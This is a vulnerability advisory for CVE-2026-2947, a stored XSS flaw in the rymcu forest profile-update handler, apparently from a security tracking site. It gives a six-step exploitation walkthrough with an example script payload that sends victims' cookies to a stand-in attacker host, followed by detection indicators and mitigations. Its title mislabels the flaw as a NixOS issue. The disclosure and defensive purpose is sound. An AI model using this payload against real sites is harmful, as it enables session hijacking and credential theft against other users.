CVE-2026-2947: 
NixOS vulnerability analysis and mitigation

CVE-2026-2947 is a stored cross-site scripting (XSS) vulnerability in rymcu forest, an open-source community platform, affecting all versions up to and including 0.0.5. The flaw resides in the updateUserInfo function of src/main/java/com/rymcu/forest/web/api/user/UserInfoController.java within the User Profile Handler component. It was published on February 22, 2026, and a proof-of-concept exploit was made publicly available shortly after. The vendor was contacted prior to disclosure but did not respond. It carries a CVSS v3.1 base score of 5.4 (Medium) (Feedly, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting) with a secondary classification of CWE-94 (Improper Control of Generation of Code). The root cause is insufficient input validation and output encoding in the updateUserInfo function, which processes user-supplied profile data without properly sanitizing it before rendering it in web pages. An authenticated attacker with low privileges can submit a crafted payload through the user profile update API endpoint; when another user views the manipulated profile, the malicious script executes in their browser context. A proof-of-concept is publicly available (Feedly).

Successful exploitation allows an authenticated attacker to inject persistent malicious scripts into user profiles, which execute in the browsers of other users who view the affected content. This can lead to session hijacking, credential theft, phishing, or defacement of user-specific content. There is no direct availability impact, and confidentiality impact is limited to what can be accessed via the victim's browser session (Feedly).

A proof-of-concept exploit was publicly released on February 25, 2026, hosted on feishu.cn, and is referenced in the NVD entry. No evidence of active in-the-wild exploitation has been observed as of the latest update. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term (Feedly).

1. Authentication: Log in to a rymcu forest instance (version ≤ 0.0.5) with any low-privileged user account.
2. Identify the profile update endpoint: Locate the user profile update API, corresponding to the updateUserInfo function in UserInfoController.java, typically accessible via an authenticated HTTP PUT or POST request to the user profile API endpoint.
3. Craft a malicious payload: Prepare an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected into a profile field (such as bio, nickname, or website) that is rendered unsanitized.
4. Submit the payload: Send the crafted request with the malicious script embedded in the vulnerable profile field via the application's UI or directly via API.
5. Wait for victim interaction: When another authenticated user (or administrator) views the attacker's profile page, the injected script executes in their browser context.
6. Harvest results: Collect stolen session cookies, credentials, or other sensitive data exfiltrated to the attacker-controlled server (Feedly).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after viewing user profile pages; unusual GET requests containing cookie or session data to attacker-controlled endpoints.
• Logs: Application logs showing profile update requests (updateUserInfo) containing HTML or JavaScript tags (e.g., <script>, onerror=, javascript:) in profile fields; repeated profile view events for a specific user account from multiple distinct sessions.
• File System / Database: User profile records in the database containing raw HTML or JavaScript code in fields such as bio, nickname, or website URL.
• Browser/Client: Unexpected redirects or pop-ups when viewing specific user profiles; browser developer tools showing script execution originating from profile content (Feedly).

No official patch has been released by the rymcu vendor, who did not respond to the responsible disclosure attempt. Organizations using rymcu forest should upgrade to a version newer than 0.0.5 if one becomes available. In the interim, recommended mitigations include: implementing strict input validation and output encoding in the UserInfoController.java User Profile Handler; deploying Web Application Firewall (WAF) rules to detect and block XSS payloads; enforcing Content Security Policy (CSP) headers to limit script execution; and restricting access to the profile update functionality to trusted networks where feasible (Feedly).

Coverage of this vulnerability has been limited to automated vulnerability tracking services such as VulDB, Vulners, and INCIBE-CERT, with no notable researcher commentary or significant media coverage identified. The vendor has not issued any public statement or advisory in response to the disclosure (Feedly).